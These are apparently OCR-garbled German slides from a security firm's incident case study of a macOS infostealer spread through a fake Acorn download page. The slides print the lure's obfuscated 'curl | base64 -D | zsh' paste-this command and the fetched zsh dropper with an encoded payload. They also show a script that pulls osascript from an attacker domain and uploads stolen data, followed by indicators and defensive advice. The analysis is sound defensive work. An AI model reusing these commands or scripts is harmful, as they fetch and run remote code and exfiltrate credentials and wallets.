= Klick auf "Download Now" fuhrt zu trustfilecloud[.Jcom oder
filefastsandwich|[]Jcom

Home Application Adobe Apple office Photography Graphies & Design

O Download for macO$S  vericd pubiisher

Acorn8.5.0
N
Terminal installation
Advanced users can perform installation with a single terminal command. Name: Acorn_8.5.dmg
Size: 85MB
curl -kfsSL $(echo 'aHROcDovL2ZpbnRIbGxpZ2FuY2VhaS5jb20vY3VybCOMNGUYY2EwNmY4YWMyMT Copy Files Acorn_8.5.dmg 85 MB]

g Download Now

How to open Terminal on Mac

1. Press Command (3£) + Space to open Spotlight Search.
2. Type "Terminal" and press Return to launch it.
3. Once the Terminal window is open, you can proceed with the steps below.



Case

= Benutzer besucht die Welbsite www[.Jtorrentmac[.]net

4 — Infostealer on MacOS

= Klick auf "Download Now" fuhrt zu trustfilecloud[.Jcom oder

filefastsandwich|[]Jcom

O Download for macOS  vesiied publisher

Terminal installation

Advanced users can perform installation with a single terminal command.

curl -kfsSL $(echo 'aHROcDovL2ZpbnRIbGxpZ2FuY2VhaS5jb20vY3VybCOmMNGUYY2EwNmY4YWMyM1

How to open Terminal on Mac

1. Press Command (3£) + Space to open Spotlight Search.
2. Type "Terminal" and press Return to launch it.
3. Once the Terminal window is open, you can proceed with the steps below.

curl -kfsSL $(echo

Copy

Home Application

Acorn8.5.0

AVANI!!‘.
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Adobe Apple office Photography Graphies & Design Too)

Acorn_8.5.dmg
85MB

Acorn_B.5.dmg [85 MB]

Download Now

‘aHR@cDovL2ZpbnR1bGxpZ2FuY2Vhas5jb20vY3VybCOmNGUyYZEWNmY 4 YWMyMTYwNzhhYTI@ZDAWNTQzZGQ@AMTESY jdmOTYxZTY

@MWE2N2ZINGZjZGY@MDQyZjVINjB1' |base64 -D)|zsh




Case

Baseb4 encodierter Value im Kommando downloadet Script von
= hxxp[//]fintelliganceail]Jcom/curl/f4e2ca06f8ac216078aa24d00543dd4119b7f961e641a67fe4fcdf

4042f5e60e

B curl http: //fintelliganceai.com/curl/f4e2caféf8ac216078aa24d00543dd4119b7F961eb4lab7feafedfaB42f5es0e

#!/bin/zsh

d20109=5(baset4 -D <<'PAYLOAD_m25518346392479' | gunzip

HasTAI+VIGKAAFIWWZ /bNNhR+9484VRVDasDoYvmSi506XYAGRdohabBgXSEwWJGUTLiXNpBfHDOT/ 7
KEUWKNnAIrKXBUXmacFv3A/F+pXZzxFNNI2YF9itkiSaN41RLISs9Sy4XsP1GJrRuDCoewvJ181SSNT
efDmd4RJRNACNFtgnoaGwCnlbJrJOTEhZcLQIDKDMAWIA+YT7I7iC5a+N3LHE4Zz9g9LruMBhQGnje
6dM4Ph15bBR4eDSOWRATGadu4MdDNNKZ TolzHS3ZSZhQNvKxHWdjApEXZcQ/FPYUKAW+T70xePvKF+
KeYJCwlHLNInEZjJpl0eTKk82PCYBPIavYL4GNIXgwrdzkDOWbK+KRVDLENACKACEFNINJFBWGLIwW
RwOpFvoAxoNgS301ZakBa9tswSMEOBMTFA&XbTHaqMZE7hStUSgSUADT Wy N4bUQNOTENYImesN/Y
B0cuneFgfDIYGQcEBKPeRcvEBMzCoOXZAXKzZI /cxyZzTIZDX1KB40RSrmLobvPRZS/VT8+AHACCICS
S7LNASLY/9brfXdiriX/E1DKDiSTrokErday/CaB8AXWCYRWEDPSh/FXTT7b12WJZ0rZdrmKSvz/YeH
Tx+J+5vfroPTsjwX3qjY+EH1sWONenvl1GN1df7m7ub4aPJSp81ScZphFXnloUSwbhHRE JGppX1LEUL
gaXqTOAztoaJ3smF1YzMMIiDvrj798vm2+tit9pl4iQTF1IGXRbJUMIBESYNCOqd3ukJecIAKdLYGWT
gKi41zBug9qWIPZnkZE/H8vyMpmtArkooglW)wTfHWqgBgWeDoBtakeahu989z5TVoIg4aXLTYFfxc
zbfapvJaFseCyUIzV/lryCvuBrglgQLZwGqQULhSKaMbKLzVEQAMgHSE /RWTp3gKKYU+1WBHChKgC
bORYSrbIZejVEtrSaggulreEC /UVGYShS1OnJMUgmiIi652s01Q1PtyVypMIPREZnodmSSrJVamk
neZvgsws/VasfUI9wgBPXwSqEFIdgZF4DFHYBdAR)SD/fILttPzJFCstroetN+102yBggyYuB4aT
WTiaXKkT+5yEdIWKSVVPI8mnFESQIETPY QX /2y /TwlLJ1aPJ+u+PBXWsa2COLirxFXXBYgTuXraNy
NJgaopoCqtjM2iflTgvqcPekiVTvBaGJsVu72vdalslXb7ecsqbré42Pb31dKGMtEddxAdeivPdéaA
S4FWwaLYNEsbJepLIVZ7zbNnc2vSdQIViKLNg8mXC+1VaemkUbu9nT2nt /BLUYHCGIBVF28f07dUR
qR6/mMPENC2ZX1TFEKAAA=

PAYLOAD_m25516836392479

)

eval "$d20109"

4 — Infostealer on MacOS
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Decodiertes Script ladt osascript von
= hxxpl[//]sandiegotkd[]com/dynamic?txd=...

Script wird mittels osascript ausgefuhrt...

4 — Infostealer on MacOS AVAN.E
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#!/bin/zsh
daemon_function() {

exec </dev/null
exec >/dev/null
exec 2>/dev/null
local domain="sandiegotkd.com"
local token="f4elcalbf8ac216078aa24d00543dd4119b7F9461ebblabTFesfedf4042F5eé0e”
local api_key="deé2a2f47dlc7dec2997f931a850a615"
local file="/tmp/osalogging.zip"
if [ $# -gt 0 ]; then
curl -K -s --max-time 38 \
-H "User-Agent: Mozilla/5.8 (Macintosh; Intel Mac 0S5 X 18_15_7) AppleWebKit/537.3&" \
-H "api-key: Sapi_key" \
"http: //$domain/dynamic?txd=$token&pwd=$§1" | osascript
else
curl -K -s —max-time 38 \
-H "User-Agent: Mozilla/5.8 (Macintosh; Intel Mac 0S5 X 18_15_7) AppleWebKit/537.3&" \
-H "api-key: S$api_key" \
"http: //$domain/dynamic?txd=$token" | osascript
fi
if [ $7 -ne 0 ]; then
exit 1
fi
if [[ ! -f "$file" || ! -s "$file" ]]; then
return 1
fi
local CHUNK_SIZE=$((10 * 1824 = 1824))
local MAX_RETRIES=8
local uvpload_id=$(date +%s)-$(openssl rand -hex 8 2>/dev/null || echo SRANDOMSRANDOM)
local total_size
total_size=$(stat -f %z "$file" 2>/dev/null || stat -c %s "$file")

if [[ -z "$total_size" || "Stotal_size" -eq 0 ]]; then
return 1
fi
local total_chunks=$(( (total_size + CHUNK_SIZE - 1) / CHUNK_SIZE ))
local i=8

while (( i < total_chunks )): do

local offset=$((i * CHUNK_SIZE))

local chunk_size=$CHUNK_SIZE

(( offset + chunk_size > total_size )) && chunk_size=$((total_size - offset))

local success=0

local attempt=1

while (( attempt =< MAX_RETRIES && success = 0 )); do

http_code=$(dd if="$file" bs=1 skip=$offset count=$chunk_size 2>/dev/null | \

curl -k -s -X PUT \
—data-binary @- \
-H "User-Agent: Mozilla/5.8 (Macintosh; Imtel Mac 0S X 18_15_7) AppleWebKit/537.36" \
-H "ani-kev: Sani kev" \



Case #4 - Infostealer on MacOS

Osascript tatigt folgende Aktionen:

Schliesst samtliche Terminal Windows, Erstellt Staging Folder /tmp/shub_<random>
System Enumeration (OS Version, External IP, keyboard, locale
= Pruft ob Russisches keyboard layout gesetzt ist... (Daten werden trotzdem gestohlen)
= Beacon mit allen Infos mittels curl an kofeynaYagush[.Jcom
Display fake “System Preferences” dialog mit einem Passwort Feld

= Pruft eingegebenes Passwort Gegen den lokalen MacOS Benutzer. Falls korrekt, wird es
im Staging Folder

= Falls Passwort korrekt (oder nicht notig) wird das Chrome Master Passwort aus der
Keychain ausgelesen

Extrahiert Browser Daten von Chrome (14 Varianten), Firefox und Safari
= Cookies, Login-Daten, History, Extensions, Autofill Daten

Sucht nach Cryptowallets im Browser (100+ Varianten) oder lokale Installation von bekannten
Wallets und extrahiert die Daten

Sammeln von weiteren Daten
= MacOS keychain files
= [Cloud account Daten
= Telegram Desktop
= Files auf Desktop und Documents Foldern
= Apple Notes Datenbank
= Shell History Files
= \olles Hardware / Software Profile (system profiler)

AVANI!!‘.

Competence. Security. Trust.



Case #4 - Infostealer on MacOS Avmﬁ
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= Osascript tatigt folgende Aktionen:

= Exfiltration der gesammelten Daten
= ZIP alle Daten nach /tmp/shub_log.zip
= Upload der Daten an kofeynaYagush[]Jcom/gate

= Crypto Wallet App Injection
= Download einer maliziosen "app.asar’ vom C2 server
= Terminiert und patcht bekannte Crypto Wallets (z.B. Atomic, Leder, Trezor Suite, etc))
= Re-Signiert die modifizierten Apps mit "codesign”

= |nstalliert Persistentes C2
= Script namens “GoogleUpdate” wird geschrieben
= |aunchAgent welcher das Skript alle 60 Sekunden nach dem Login ausfuhrt
= Script kommuniziert mit dem C2 Server und fuhrt alle moglichen Kommandos aus

= Cleanup
= Alle temporaren Files und Folder werden geldscht
= Zeigt Fake Error Dialog: “Your Mac does not support this application. Try reinstalling...”

= Die Exfiltration der Daten hat 91 Sekunden nach der Ausfuhrung durch den Benutzer
stattgefunden...



Case #4 — Takeaways Awmﬁ
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= torrentmacl.Jnet

= trustfilecloud[.]Jcom

= filefastsandwich[.]Jcom
= fintelliganceail.]Jcom
= sandiegotkd[.]Jcom

= kofeynaYagush[]com

= Wie lasst sich das verhindern?
= User awareness...
= Script downloads auf dem Proxy verbieten
= Mittels MDM die normalen Benutzer einschranken
= Keine Admin-Rechte
= Terminal App verbieten
= Osascript Zugriffe auf sensitive Ressourcen verbieten
= Das EDR benutzen um curl zu blockieren (Terminate Process)
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Damit Gefihrliches draussen bleibt —

AVANTEC Cyber Defense Center
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